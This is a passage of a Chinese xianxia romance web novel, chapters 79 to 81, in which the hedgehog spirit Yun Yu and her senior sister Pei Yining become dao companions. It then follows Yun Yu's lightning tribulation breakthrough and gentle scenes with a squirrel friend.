但这次没有让裴依宁等多久,云榆轻轻拉下发顶的那只手,虚虚地用两指牵住,如以往那般,晃动着:“我对师姐,也是对道侣的喜欢。” 裴依宁鸦羽般的睫毛扑扇。 在她们感情中向来处于主导地位,游刃有余的人,因着小妖的这句话,心跳慢了数拍。 而后像是为了补足这短下的一拍,重而快速地跳动,一下下地撞击胸膛。 紧握的掌松开,血丝在皮肤下溢出,深浅不一的月牙形突兀地横在掌心。 她抚上云榆的脸颊,素来清明的神色落入几分沉沦的幻梦,眉宇间越发温柔,她引导着小妖再说一遍。 当着本人的面说过一遍,第二遍似乎没那么难以启齿了。 云榆组织语言,很认真地说:“我对师姐的喜欢,与师姐对我的喜欢一样。我喜欢师姐。” 属实是为难小妖说出这些了,裴依宁觉得自己像是在诱哄天真的小妖说出这些。 她喉咙动了下,温声问:“那,要不要和师姐结为道侣?” 道侣。 云榆默念这两个字,身体像是被泡进酸水中,软软的,灵魂被抽离导致肢体发麻的察觉越发清晰。 扪心自问,她能和师姐结为道侣吗? 先不说师姐是人族,她是妖族,单说师姐的实力和在宗门内的地位,和一位名不见经传,算得上是新人的她结为道侣,会不会对师姐造成影响。 云榆不清楚。 她不想因为自身影响到师姐在宗门内的风评。 她无措地揪着衣袖,呢喃地给出回应:“道侣吗?” 裴依宁轻声肯定:“嗯,你和我,结为道侣,好不好?” 云榆唇齿蠕动,咬住唇,复又低下头,指骨泛起白,含着的声线像是字音被掐头去尾,留下让人听不清的部分。 裴依宁屏息凝神,灵识涌出,扑捉动静,分析出具体的字文是何。 云榆好似又一次失去语言能力,指尖被叶片勾出一道白边,向前后渐变,最边缘,是被挤到一起的血色。 她独自沉浸到自己的世界。 与师姐初遇,在灵丹堂的相遇,在剑法阁的偶遇,与师姐外出历练的经历,回宗后得知师姐真实身份的夜晚,不见的几月…… 凡此种种,一一在脑海中过了遍。 云榆动摇的念头越来越深,她哑声问:“师姐同我结为道侣,会对师姐产生什么不好的影响吗?” 她说:“请师姐不要隐瞒,对我实话实说。” 裴依宁:“星星在乎的是这个?”她蹙眉,反问,“对我会有什么影响?” 云榆接的很快:“师姐在宗门的声望,在宗门的积累以及宗主她们的看法……” 裴依宁是稀缺的高品阶炼丹师,被寄予厚望,与她结为道侣,宗主她们真的不会持反对意见吗? 她抱住自己。 裴依宁了然:“你在担心这个吗?” 小妖考虑的过多了,裴依宁轻轻拥住云榆,小妖本就柔软的身体无力地软到女人怀中:“不会,这是我的私事,宗门师姐妹们并不会过多关注。宗主她们亦是如此。” 她下巴虚虚地抵在云榆的发顶:“星星不用担心这些。只需要回答师姐的问题就好。”她开玩笑地说,“再慢些,松松就要数完一千个数回来了。” 云榆深呼吸,轻轻地推开裴依宁,长久地蹲着,腿部酸酸软软的,她扶着裴依宁起身,回望了眼小松鼠离去的方向:“不会的。” 在她没有去找小松鼠时,松松不会冒然过来,那一千个数,不过是说给裴依宁听的。 裴依宁莞尔:“所以,星星的答案是?” 云榆垂着脑袋瓜,有一下没一下地踢着脚下的石子,发出细若蚊蝇的声音:“嗯。” 这就是答应了。 裴依宁轻笑,要去摸她的头:“好乖。” 云榆灵活地躲开,闷声闷气地:“不准摸我的头,更不能敲我,都被敲笨了。” 裴依宁暂时妥协:“好,不摸,不敲。” 小妖刚接受,需要时间适应,她顺着小妖的话。 小妖还在踢石子,裴依宁突得好奇这边怎么会有这么多的石子给小妖踢。 仔细看过,不过是两块石子,被小妖踢来踢去:“师姐,你喜欢我刺猬形还是人形。” 裴依宁:“都喜欢。” 云榆“嗯”了声:“好。” 裴依宁抬手去顺小妖的发丝,然而,小妖的速度比她更快,直直地张开手臂,将她抱入怀中。 裴依宁怔愣,回抱住云榆。 云榆:“师姐,我会努力修炼的。” 她松开裴依宁,脸上红霞飞,眼神闪烁:“那你还是我的小跟班吗?” 裴依宁:“……” 还惦念着这个呢。 她回答:“是,一直是你的小跟班。只跟着你。” 云榆被她很好的哄道,羞涩感随之散去一点点:“我只收你这一个小跟班。” “那可不一定,”裴依宁有心打趣她,“我记得某只小刺猬,在遗迹处,好像还收了两只白毛刺猬当小跟班。” 云榆莫名紧张。 师姐竟然还记着这件事。 裴依宁歪头:“不知道是不是我记错了。” 云榆答得飞快:“是师姐记错了,没有这回事。” 裴依宁了然:“原来如此。”险祝敷 云榆心虚,可说到到遗迹,她就会想到那位遗迹之主,不知道能不能找到救治黑虎前辈的方法。 她沉下心,没有提及这件事。 她和师姐刚结为道侣,理应提及些高兴的事。她环顾一圈,没想到将师姐带回来的决定是这么正确。 在自幼生活的地方,与师姐确立了道侣关系。 她要将师姐介绍给好朋友们,还要将师姐介绍给姐姐认识。 姐姐一定会很喜欢师姐的。 “999,999,999……”小松鼠侧身躺在一根枝桠上不断重复这个数字,瞧见下方两个肩并肩而来的妖和人,翻身跃下,口中念念有词:“一千。” 小松鼠说:“正要去找你们,你们就过来了。” 她看向两人要牵不牵的手,不知两人到底是说开了,还是继续保持所谓的亲密关系。 云榆化为小刺猬,被小松鼠拉到一边,在说话前,小松鼠扫了眼不远处的人。 裴依宁默默地转过身,往前走过几步。 小松鼠扭回头:“怎么说?” 看这样子,性命和身上的刺想必是保住了。 小刺猬摸摸鼻子:“说开了,我和师姐,结为道侣了。” 小松鼠“啧”了声:“真被我说对了,你们互有心思,还说什么亲密关系。真实让松鼠无语。”话音一转,她问,“这么大的事情,云樾姐还不知道,你打算怎么和云樾姐说。” 小刺猬:“我准备离开这里后,就去找姐姐。” 问亦云再如何说,她都要亲眼见见姐姐到底如何了,为什么明知道她在明越宗,却不过来找她。 小松鼠:“也好。” 从小松鼠那回来,一人一刺猬不觉间走到昨晚的湖边。 小刺猬顺着女人的腿往上爬:“师姐,能亲一下吗?” 裴依宁:“星星,能化成人形吗?” 作者有话说: 小刺猬:亲亲 师姐:要不化成人形再亲? 小刺猬:…… 第80章 第八十章[VIP] 是夜, 云榆盘腿坐在湖畔边,将从游心那里得来的灵珠炼化。昨日被炼化的鬼珠内的鬼气与灵珠内的灵气交织融合,两股截然不同的属性相互碰撞。 而处在灵海内的那枚,独属于云榆自己的那颗, 因着两股力量持续的碰撞, 被激出能量。 短短半柱香的时间,三股力量相互对抗。而那枚正在被炼化的灵珠, 因暂时较为薄弱, 被鬼气压制,挤占生存空间。 云榆控制自身灵珠的灵气, 源源不断地注入炼化灵珠的灵气中,由此勉强与鬼气有抗击之力。 灵海内的空间不断扩大, 无数灵点生活其中,编造成浩瀚的星空图。 但云榆毫无心思欣赏灵海的变化,精神力被来回牵扯,撕裂的疼痛蔓延全身,鬼气侵蚀, 灵气冲撞。 她像是沉浮在风浪中的一艘小船, 拼尽全力控制方向。 裴依宁支起一方结界, 云榆周身缭绕着黑与黄的气息, 空气中的灵气如疯了般往云榆体内钻出。 本就差个临界值, 今夜若是能将灵珠完全炼化, 再熬过渡劫,就能成为绿灵。 裴依宁半眯起眼睛, 云榆是水属性, 在湖泊边渡劫,许是要稍好些, 能更大程度调动湖泊中蕴含的水属性能力。 月华降落在云榆肩头,湖中倒映出她的模样。 裴依宁盘腿坐在云榆数米外,支起下颚看对方的动静。 “咔嚓”。 细小的破裂声起,正在被炼化的灵珠表面出现一丝裂纹,随即以此为点,向四周蔓延,不过呼吸间,那颗灵珠表面覆盖上蛛网般的纹路。 随即,灵珠破碎,散成无数的星点,一股脑地钻入云榆的体内。 缭绕着的黑雾以绝对地位占据云榆周身,但只有几秒,黑雾被同灵气一起炼化,缓而慢地转化成云榆自身的灵力。 忽而,云层浮动,月亮被掩盖,天幕中出现一方巨大的缺口,数道雷电在缺口处闪动,明暗交织。 裴依宁起身,将那处结界扩散到这片地界,除却云榆外,所有的动植物都被护住。 上次云榆渡劫,有她护法,但这次,理应有云榆自身挺过去,以雷电消杀内里含着的,没能完全炼化的鬼气。 风止静息,几道雷电如商量好的,一道道落下,直直地往云榆头顶劈去。 忽而,云榆睁开眼,灵剑凝结在掌心,湖水化为水龙,在她头顶上方盘旋,狠狠与雷电对冲。 第一道雷电落下,水龙溃散,云榆指骨攥紧灵剑,指骨泛白,体内灵力抽调一空。 她举起灵剑,手腕转动,狠狠劈下,电流震颤。 紧接着,第三道,第四道,第五道…… 雷电一道接着一道。 裴依宁数着降下的雷电,已经是第三十五道了。 还差最后一道。 最后一道迟迟劈不下来,盘旋在云层中,肉眼可见的,夜色的半空被晕染成白紫色,间或夹杂着蓝色。 云榆双臂发麻,仔细看去,她的手臂忍不住抖动。 她死死盯着云层,高高举起灵剑,巨大的灵剑虚影形成。 雷电被引下。 刹那间,亮如白昼。 云榆整个人沐浴在强光之下,裴依宁感受到结界的震颤,产生的灵力冲击扩散四周。 她被强光刺激得睁不开眼,单手捂着眼睛,一眼睁,一眼闭,从指缝中看外面的景象。 不知过了多久,一切烟消云散。 裴依宁放下手,原先立于湖畔边的人,悬浮在湖中心,束起的长发飘散,被风刮得飞飞扬扬。 而更令人无法忽视的,是云榆在无形中释放出的威压。 绿灵。 突破了。 云榆脸色惨白,支着灵剑在湖面上一步步走动。那水好似活物,承载着她的重量,竟是半点衣衫都没有沾湿。 裴依宁往前几步,双手伸出去接她。 云榆顶着张毫无血色的脸,张开两臂,直直地跌入裴依宁的怀中,扬起一抹笑:“师姐,我突破了。” 裴依宁心疼的抱住她,提起松软无骨的人,在小妖额头落下一吻:“星星好厉害。” 她凭空取出一枚丹药,指尖分开两瓣唇,塞进去:“休息会。” 那枚丹药滑入小妖体内。 指尖被小妖轻轻咬住,云榆半掀起眼皮,懒懒地看了眼那只皙白纤长的手指,上下齿磨动几次,夹杂着含糊不清的语调:“师姐,我不困,我精神很好。” 就是被雷劈得,身体发麻,绵软无力,需要时间消化。 裴依宁圈着她的腰身,小妖咬住她的力度减弱许多,指尖滑出。女人扶着小妖坐下,靠在她的怀中。 小妖绵绵软软地倒在女人的腿上,侧身抱住裴依宁的小腹,头埋入其中。 柔软温热。 云榆道:“谢谢师姐。” 裴依宁知晓她说的是她支起结界,没让雷劫毁了这里,女人护着她的后脑,轻笑道:“现在还要和师姐客气吗?” 云榆笑出声来,歪头看眼裴依宁,又重新埋入对方的小腹中:“也是哦。” 她和师姐现在是道侣,自是不需要再这般客气。 她勾住师姐腰间的束带,胡乱地绕在手上,接着又拆开,循环往复,乐此不疲。 她问:“师姐,什么时候了?” 裴依宁看看天色:“还早,松松还没过来找你。” 她释放出的灵识没有探到松松的气息。 云榆在心底“嗯”了声,转念意识到师姐听不见她心里话,急忙出声:“好的。” 就这样躺在裴依宁腿上两柱香的时间,丧失的力气恢复许多,云榆懒洋洋地伸个懒腰,脊背在裴依宁腿上来回碾过。 最后泄力地平躺下,双目直勾勾地盯着面上的人:“师姐?” 裴依宁:“嗯?” 云榆眉眼弯弯:“没事,就是突然想到,好巧。那日我去了膳食堂,而你,也去了膳食堂。” 裴依宁莞尔:“你那时,有几个日夜没有去膳食堂?” 云榆心虚地:“……我也没去几次啊。七天只去五天。” 裴依宁好笑:“如此算的话,即使那次不能遇见,也会在日后的哪次相遇。” 云榆一合计,的确如此。 贪吃能捡个道侣,说出去,恐怕要惹人发笑。 裴依宁点点她的鼻尖:“等入冬后,我们先回一趟宗门,将你和我的名姓,刻在一起,好不好?” 云榆眨眨眼:“还要刻名姓?” 裴依宁略一点头:“算是向宗门昭告这件事。”线住服 云榆“哦”了声,没想到人族如此繁复,如此算来,岂不是宗门师姐妹们都将知道这件事。 她有些害羞。 裴依宁:“只是一个记录,不必紧张。” 云榆:“……哦。” 裴大师姐根本不知道她的想法,根本不知道她内心的慌乱。不过还好,她现在已经迈入绿灵了,在努力拉小和师姐的差距。 午时,松松还是没有过来。 云榆担心松松出什么事,带着裴依宁,跟随记忆中的路线,赶去小松鼠家。 一棵两人环抱粗的大树下,云榆扬头看向其中一根枝桠,一只毛绒绒的大尾巴垂下,在半空中华一甩一甩的。 正是松松。 她此刻不好悠闲地着抱着松果啃食。 云榆看不见松鼠的正面,不知道松鼠的表情,但看这副样子,想来是轻松的。 那为何今日松松没来找自己。 云榆曲指敲敲树木。 松松没理她。 云榆又敲敲。 一颗松果砸下。 云榆眼疾手快地躲过去,脚尖一个点地,踏着树干爬上,一脚压在树枝上,凌空抓住小松鼠的尾巴,另只手趴住树枝:“松松姐?” 松松刚要暴躁跳脚,却见是云榆,出口的话转个弯变成了:“星星,怎么是你?不对,你怎么来了?” 这样说话属实有些难受,好在云榆手臂力量足够,她道:“你今日没来找我,我和师姐过来看看。” 小松鼠侧身瞄了眼下面的裴依宁,后者朝她微微颔首。 小松鼠看回云榆:“你们不是昨日结为道侣的吗?” 云榆:“但这跟松松姐过来找我,有什么冲突吗?” 小松鼠:“笨蛋星星。” 她不应该用妖族的想法来揣度人族和面前这只小笨妖。她翻过身:“你人形真丑。” 云榆:“……师姐说我人形好看。” 小松鼠:“你师姐哄你的,我们妖族,当然是本体好看。” 小松鼠抱住自己的尾巴,用尾巴间抚在云榆脸上,得意洋洋:“看看这毛发,人族能有吗?”她停了下,若有所思,“不过裴裴好看。她是人族,许是觉得人形更顺眼。” 云榆无奈。 那她到底是化为人形还是保持妖族本体。 昨晚她想亲师姐,刚爬上师姐的肩头,就被师姐提着小脑袋,让她变回人形。 看样子,师姐好像更偏向于她的人形。 但当她变成人形时,松松又说她人形不好看。而且,师姐分明也挺喜欢她本体的,为什么不愿意跟她本体亲亲。 小松鼠从树上跳下,四肢着地,对着裴依宁摆摆爪子:“裴裴。” 裴依宁回以微笑:“松松。” 这个叠词她叫得越发顺口了。 云榆从树上落下,偷偷给裴依宁传音:【师姐,我能问你一个问题吗?】 裴依宁:【什么问题?】 云榆斟酌语句:【师姐是不是,不是那么的喜欢我本体?】 裴依宁:【没有,人形和本体我都喜欢。】 云榆:【可是你昨晚都不肯亲我本体。】 裴依宁:【你本体过于可爱,也过于小,会让我有种负罪感。】 云榆狐疑:【真的吗?】 裴依宁:【假的。】 云榆:“……” 于是乎,某只小妖气呼呼地化为本体,小跑追上走在最前面的小松鼠,选择与小松鼠并肩前行。 裴依宁不紧不慢地跟在后面,两只小妖走的过慢,尤其是那只小刺猬,四肢短短的,要保持小跑方能追上小松鼠。 裴依宁测量了下,她的一步,小刺猬要跑一两秒才行。 从她的视角看过去,只一团小小的球在不断滚动,还是个不怎么圆的球。 裴依宁抿唇,将笑压在唇边。 因为小刺猬挑衅地转过头,气鼓鼓地握拳捶地。 小刺猬这是在打她? 不确定,再看看。 小刺猬用力歪头,两只前爪捶打数次空气,而后转身继续与小松鼠一齐走。 真的是在打她。 裴依宁不免好笑。 小松鼠注意到小刺猬落下的几步,头也不回地:“怎么了?” 裴依宁的阴影落在两只小妖头顶,不用回头就知对方跟在她们后面,对于自下而上地仰起头去看人,小松鼠选择直视前方。 小刺猬阴阳怪气地说:“在打坏东西。” 一头雾水的小松鼠:“这里还有坏东西?” 小刺猬:“没有,可能是我看错了。” 小松鼠将她们带到一块田埂前,指着田埂的边缘,舔住唇,双爪迫不及待地搓在一起,忍着激动说:“这片地下种着马蹄,现在一定熟了。” 她找出一根木棍,用力撬动地面的土,但过于夯实了,小松鼠使出咬牙切齿的力度都没能撬开。 小松鼠脸涨得通红,吹吹磨疼的手:“好疼。”她转向小刺猬,“星星,你用灵力试试。” 小刺猬点头,拍拍爪子就要大展身手。 还没调转灵力,小爪子被人捏住,拎着提到田埂上。 裴依宁道:“我来吧。” 灵力入地,顷刻间,土地翻转,一颗颗被泥土包裹的马蹄飞出,洋洋洒洒的落在田埂上。 小松鼠眼冒星星,爪子翻着马蹄,去掉上面的泥,汇集到一起。 瞧见小刺猬没动,小松鼠从后面轻轻踢了脚小刺猬:“快捡。” 被踢的小刺猬趴下身,两只爪子一次只能抱住一颗马蹄,来来回回在田埂上捡拾。 裴依宁将土地翻回至原样,就见圆溜溜的球体跑来跑去,有次还被草屑绊倒,爪中的马蹄飞了出去。 小刺猬爬起,小跑着又去寻找马蹄,放置好。 很快,一座马蹄小山堆积,小松鼠和小刺猬立在这座小山前,两只小妖分别拿过一个,剥起来。 小妖们好像不挑食,什么都能吃。 小刺猬就是这般,好吃的多吃几口,不好吃的,闭着眼睛吃得一干二净。 正想着,衣摆被拉动,她顺势低下头。某只傲娇的小刺猬揪着她的衣衫,瞧她视线投下来,昂着头转向它处,可递来的爪子上是一颗剥好的马蹄。 裴依宁蹲下身,垂下头,启唇。 伸长手臂也够不到的小刺猬:“……自己拿着。” 裴依宁从顺如流:“好的,星星。” 她接过那颗剥得干净的马蹄,白花花的果肉填入口中,清甜的汁水流下。 小松鼠苦恼着看着这些:“我们要多运几趟才行。” 小刺猬眼睛一亮,爪子一挥,这座小山消失的无影无踪。 小松鼠瞪大眼睛,她们辛辛苦苦挖的马蹄,就这么没了? 刚要哀嚎,小刺猬道:“我将它们收入空间储物了,直接一趟就能运回去。” 小松鼠早知修士有各种神奇的物件,可这里的几名妖修实力不算高,自是没有什么多好的东西。 小松鼠第一次见到这种宝物,感慨一声:“成了修士果真不一般。” 小刺猬趁热打铁:“松松姐,你要修炼吗?我和师姐在这有段时间,带你踏入修途还是没问题的。” 小松鼠抗拒:“我才不要,赶紧走吧。中午被你打扰的都没吃饱,我现在要回去吃饭了。” 又被拒绝了,小刺猬并不气馁,跑跑跳跳地跟上小松鼠,两只小妖的话题自然而然地引向别处。 裴依宁亦步亦趋地在后面,视线黏在小刺猬身上。这个时候的小刺猬,比在宗门中,更多了许多的生气。 许是在自幼生长的地方,会无意识地放松。 回到松鼠居住的那颗树下,小刺猬本想爬上树,将马蹄放入小松鼠的家中。但小松鼠耳朵贴着地面,小爪子敲敲打打,几次后,她跳到另一边,爪子在地上摸着。 小刺猬不明所以。 下一秒,就见小松鼠掀开地面的草皮,爪子掏几下,一个约莫二十几厘米的小洞出现。 小松鼠道:“这是土拨鼠分我的两个洞的其中一个,放这里储存就好。我要一点点就够了,剩下的你留着,和裴裴吃。” 小刺猬留了三分之一,剩下的都给了小松鼠。小松鼠要过冬,食物多点,在整个冬季会过得很好。 为了弥补小松鼠没吃饱的午饭和某只今日一天都没有吃到食物的小刺猬,裴依宁煮了锅马蹄红枣汤。 小刺猬捧着小勺子,好奇地看向身边姿容优雅的女人:“师姐哪来的红枣?” 裴依宁道:“以前做药粥的时候,没用完的,今日才发现。” 吃饱喝足的小刺猬和小松鼠头贴着头,在玩什么游戏,裴依宁坐在矮小的凳子上,守着两人。 她忽地想起远在另一处的原以诗和风浅念。这么多年,原师姐还是没和浅念结成道侣,这次回宗,若是知晓她和云榆已成,某位师姐恐怕又要想尽办法缠着风浅念了。 对于她们二人之间,裴依宁有几分不解。按理来说,原师姐和风浅念同属器物堂,朝夕相处。 原师姐向来不隐藏心绪,就连风浅念自己都知道原师姐喜欢她,这两人之间,还差点什么。 “哎呀。” 思绪被打断,裴依宁抬眸。 小松鼠一屁股坐在草地上,倒吸着凉气,小刺猬则是一脸愧疚地去拉小松鼠。 是两只小妖玩游戏,不小心出了差错。 小松鼠大度地:“没事,再来。” 小妖之间总是不会生气,拉起后,两只妖又头贴着头顶在一起,比起力量。 松松有些吃亏,毕竟小刺猬头顶也是有刺的,一不下心就会刺到小松鼠。裴依宁这样想着。 但很快,她发现,小刺猬会特意避免因头低得过狠刺到对面的松松,甚至还用灵力将那些刺覆盖住。 裴依宁弯弯唇,小刺猬心思在这方面向来细腻。 等两只小妖玩累了,裴依宁引了两注水流分别冲在小妖身上。 小松鼠和小刺猬四肢张张开开,相视一笑。 日落黄昏,小刺猬依依不舍的和小松鼠告别,自是约定明日再见。 回去的路上,小刺猬笑意减淡,她变回人形,眉宇间是肉眼可见的低落。 多半是与松松有关,裴依宁牵起云榆的手,温声安抚:“在担心松松吗?” 云榆:“嗯,我想劝松松姐修炼。” 但松松不愿意。 她知道,每只妖都有自己的选择,可她还是会私心地希望松松选择修炼,无论是自保还是为了日后的生活。 她不知道下次回来是什么时候。 裴依宁指腹摩挲在云榆的指背。夕阳的暖橙色照得世界温柔,女人的声线跟着柔和下来:“别多想未来的事,松松很开心,不是吗?” 云榆心知如此,打起精神:“的确是这样。” 松松姐开心最重要。 回到刺猬家的洞口,裴依宁一把按住要变回小刺猬的云榆:“别化为本体。” 她掌心按在云榆的肩头,随即一人一妖都身形一同缩小。 云榆越来越小,周围所有的东西都在变大。 缩小版人形。 裴依宁道:“这样就好。” 云榆恍惚中,电流连接:“为什么不让我变回本体。” 裴依宁举手投降,满眼无奈:“星星,你我是道侣,你总该拿人形与我相对。若我是妖族,我自会与你一同化成小动物。但我不是。” 她道:“星星本体很可爱,但人形时,我会有更多你我是道侣的实感。” 云榆似懂非懂到点头。 忽地,她又想到一个点:“师姐可以将除自己以外的外物缩小?” 那第一晚,裴依宁睡在她的小肚子上,算是什么事。 裴依宁自是明白面前人反应过来,无辜地说:“星星没问我。” 云榆:“……” 师姐原来这么能说会道,她根本说不过半分。 某只小妖顺着洞口新顺出的滑梯滑下,小版裴依宁看着那道滑梯,默默选择直接跳下去。 这样或许更安全。 回到洞内,小妖使用个净身术,换了个衣服,将自己摔进被褥中,满足地喟叹声:“还是躺着最舒服。” 裴依宁解开束带,脱去外衫,比小妖慢一步上床,她拍拍瘫倒的小妖:“躺好。” 小妖挪动身位,手指灵活地扯开束带,脱去外衫,与裴依宁的衣衫叠放在一块。 钻进被子中,那股久违的羞涩感涌上来,这次与师姐同床共枕,与前几次的浑然不同。 她们之间多了层身份。 两根手指被牵住,身旁温软的身体靠近些,裴依宁侧对着她,轻声问:“睡觉吗?” 云榆并不困,静谧之下,属于师姐身上的清香似有若无得传来,引得她精神异常。 她咽了下,翻身,与师姐面对面,盯着那抹红艳的唇,她头往前伸去,扣住女人的后脑:“师姐,睡吗?” 作者有话说:【你现在阅读的是 】 80-90 第81章 第八十一章[VIP] 呼吸缠绕, 彼此交织,掌心下是柔软与温热,云榆拽紧被角,额头低垂, 半张脸隐没在被子中。 细若蚊蝇的声音从被下传来:“师姐, 要不要睡。” 裴依宁后脑被扣住,她的额头与云榆相抵, 每个字音都很好地传入她的耳中, 她不由得闭上眼,任由心跳不断撞击:“你要睡吗?” 云榆想了想说:“我不是很困。” 她脑袋从被子里探出, 寻寻觅觅地找了处很舒适的位置,将脑门磕在师姐的下颚, 下巴微微扬起,就能触碰到师姐白嫩的颈部。 裴依宁喉咙动动,细长的手指勾住云榆的里衣,她柔柔地搂住单纯地想与她亲近的小妖:“那师姐陪你说说话?” 云榆小幅度地点点头,发顶蹭过裴依宁的肌肤, 酥麻的痒意如同电流般, 在全身游走蔓延。 当事人毫无所觉地说:“师姐, 回到宗门后, 去哪里记录这些。直接找阁主还是?” 她对宗门内各个峰阁了解不多, 仅存的三个, 还是因为剑法阁是她所在的峰阁,灵丹堂是师姐所在, 而器物堂, 她去过几次,与里面的原师姐和风师姐有些许交集。 其它的峰阁, 她没怎么过去,只偶尔从旁的师姐妹口中听得一二。 对于记录宗门内道侣的地方,她更是一无所知,稍有担心和心慌。 裴依宁缓而慢地闭上眼,拥着云榆的力量不免重几分:“遇情堂那。” 云榆听说过这个地方,里面的师姐妹修炼的是有情道,将其作为辅修道,里面的人不多。 她还知晓遇情堂内有许多温泉,她心心念念许久,但其她峰阁之人入内,需要交一定数额的灵石。 这对于贫穷的小妖而来,属实是比巨款。 忽地,小妖想到什么严重的事情,猛地从裴依宁怀中钻出,直直地坐起,一瞬不瞬地望着正前方,口中喃喃自语:“完蛋了,完蛋了。” 被她的这番大动作惊到,裴依宁不解地坐起:“星星,怎么了?” 云榆一脸的欲哭无泪,苦着脸,哼哼唧唧地说:“我忘记领这个月的灵石了。” 那可是一百枚灵石,整整一百枚灵石,她竟然忘记领了。 她哭丧着问:“师姐,差我的灵石,回去后,宗门会给我吗?” 原来只是这件事,裴依宁对这些事了解不多,她早已不靠宗门内发放的灵石过活,久而久之,对这方面关注的并不多。 只记得每个月各个峰阁发放灵石的数量。 她道:“我不太清楚,闭关期间宗门内缺少我的灵石,我不曾去问过。” 云榆:“……” 听听,听听,这就是灵丹堂门人的底气,她一个剑法阁的人,怎么有资格说出这种话。 云榆闷声:“我闭关期间,若是与灵石领取日重合,会让卞凝与应滟替我领取。” 裴依宁:“嗯……我没有这方面的经历。” 云榆:“好了,不准说了,睡觉。” 她一骨碌地钻入被子中,恶狠狠地将被子往上一提,半个脑袋瓜藏在其中,侧身,背对着裴依宁。 裴依宁只看得被子凸起一个小包,小妖不断地调整身体,以至于她的腿时不时被小妖碰到,有时还会被蹬上一脚。 有种借着某种行为,暗戳戳欺负她的错觉。 裴依宁俯下身,阴影投射在小妖头上,她手肘叠在小妖头顶,另只手在被下圈住小妖的腰身:“好啦,师姐错了。” 小妖抖抖被子,转过身,迎面对上裴依宁那双清透温润的双眸,里面似乎蓄满了某种特殊的情色。 云榆怔愣一瞬,闷声:“干嘛认错,我又没生你的气,笨蛋裴依宁。” 师姐靠得她过近,却没有方才她磕在师姐下颚处的近,这种朦朦胧胧,恰到好处的距离,让她能够清楚地扑捉到师姐脸颊上那层小小的绒毛。 很浅,很淡。 师姐的皮肤很好,这么近距离之下,她甚至看不见师姐脸上的毛孔,没来由的,她道:“师姐,你们灵丹堂的人,是不是经常接触各种药株,身体都特别好。” 裴依宁低笑:“应该是。” 说完后,云榆意识到问了什么不太聪明的问题,她头一低,缩回裴依宁的怀中。 又觉得这样睡着不方便,索性一条手臂伸到裴依宁脖颈下,将人一勾,让其枕在自己的肩头。 她歪头靠过去,头对着头,搂住裴依宁,困意渐渐染上话音:“师姐,睡吧,晚安。” 小妖的怀中过于有安全感,裴依宁弯唇:“晚安。” 她并不困,闭着眼睛,聆听小妖的呼吸声,缓缓酝酿睡意。 可直到云榆呼吸平稳,裴依宁仍旧不困,她放任自己睁开眼,却不敢有太大的动作,怕惊醒陷入浅睡眠的小妖。 她用视线描摹云榆的脸部轮廓线,描摹云榆的五官。有种淡淡的不真实感。 前两日,她睡在小刺猬肚子上时,小刺猬还会害羞,还会以其它方式转移注意力,但短短两日,她已经和云榆确定了关系。 云榆虽然依旧害羞,可到底是知道主动的。 就如同现在,她会主动的搂住自己。 裴依宁莫名想到云榆不久前扣住她的脑袋,气氛旖旎地问她“睡吗?” 她被当时的氛围惊扰,那刻真的以为小妖要做什么,可转念一想,以小妖的性格,能做到如今这个地步,实属不易。 况且,的确太快了,她自身也没能完全做好全然的准备。 小妖的呼吸渐沉,裴依宁小心翼翼地抬起头,在云榆额上落下一吻,又如蜻蜓点水地碰过小妖的唇,很轻地道:“星星,晚安,好梦。” 一夜过后,云榆这觉睡得前所未有的好,她睡眼惺忪地揉着眼睛,慢悠悠地睁开眼。 裴依宁尚在睡梦中,云榆甫一睁眼,就是师姐精致的容颜。 以往就觉得师姐长得极为好看,是仅次与师姐厨艺的好,可现在看来,师姐好像更加美味了。 她一拍脑袋,将这种想法压下。 她怎么能把师姐比作食物。 云榆舔了下唇,悄无声息地隔着几公分,顺着师姐的唇瓣,勾画。 面前的人眼皮跳动,睫毛很轻地上下扇动。 云榆急忙放下手,眼一闭,装睡。 裴依宁只觉得眼前闪过黑影,她睁眼,就见得小妖紧紧闭着眼,一本正经而又很假地装睡。 裴依宁半挑起眉梢,凭着那道黑影游走的轨迹,学着小妖的模样,在小妖脸颊上游动。 云榆死死咬着舌尖,不知怎么的,她有点想笑,憋不住的想笑。 她脸部神经轻微地抽搐,再装下去就太假了,小妖睁开眼,故作刚醒的样子,抓住师姐的那根手指:“师姐……早啊。” 含含糊糊的,故意以不清晰的语调。 裴依宁笑了笑:“早啊,星星。” 云榆脸上红霞漫上,她视线错乱地到处乱看,余光瞥见枕在师姐下方的手臂,后知后觉地感知到麻意。 被枕了一夜,血液流通不循环。 裴依宁循着她的视线看过去,不好意思地弯下眉眼,头一抬,抽出云榆的手臂,塞入被子中,轻缓地按摩。 她的手法极好,起初被触碰到时,麻意被牵扯,细细密密的东西仿佛在皮肤下爬动般。 但很快,那股酥麻感散去,有灵气钻入毛孔,沿着血管传达至五脏六腑。 云榆满足地在心底低叹。 起来洗漱后,一人一小妖钻出洞。 裴依宁入乡随俗,亦是与小妖一般爬上爬下,只是初次这般,略有不熟练,云榆就先爬上去,然后趴在洞口,伸手拉住刚爬上来的裴依宁。 将人拉上来,云榆瞅见师姐衣摆挑上的一层灰土,她腰身弯下,拍拍那处,给师姐使了个净身术。 自己也使了个净身术。 云榆大步迈出,去寻小松鼠。 走了一段距离,发觉路途没怎么变化,怎么景物变得无比大,她蹙眉思索间,瞧见小小的自己。 差点忘记了,昨晚让师姐缩小了她的人形。 只当刺猬形差不多是这个高度,人形尚未切换过来。 她侧目,师姐也是小小一只。 她牵住师姐的手,用力地朝前朝后晃动,裴依宁歪头,看看她,又看看晃动不已的两只手臂。 裴依宁:“好玩吗?” 云榆眼睛亮亮的:“好玩。” 裴依宁陪着她,顺着她。从高处看,地上两只小点不知在作何地前后摇摆不定。 恰在此刻,树枝发出“沙沙沙”的声音,一只毛色鲜亮的从树枝下跳下,落在两只小人形面前。 松松掐着腰,惊奇地打量着她们,一只爪子比在头顶,另一只爪子对着小云榆的发顶,转头扫过裴依宁,眼尾拉下:“你们怎得变得如此小。” 小松鼠需要坐下,脊背低下一些,才能与两只小人形平视上。 云榆正要说话,小松鼠若有所思地点点头:“不过别说,星星这个样子,好可爱,好弹。” 她跃跃欲试地:“星星,我可以捏捏你的脸吗?” 云榆:“……可以。” 小松鼠的爪子搭在她脸上,向外一拉,一松,弹弹的,回弹着恢复平静。 小松鼠新奇地又拉捏了数次。 云榆认命地被玩弄。 小松鼠玩够了她的脸,手痒痒地盯上裴依宁,对方带给她的压迫感,随着人形变小,而无限缩小。 裴裴好像更可爱。 但她不能欺负裴裴。 小松鼠将目光转回到云榆身上,又捏了捏,缓解心底的痒意。 云榆:“……” 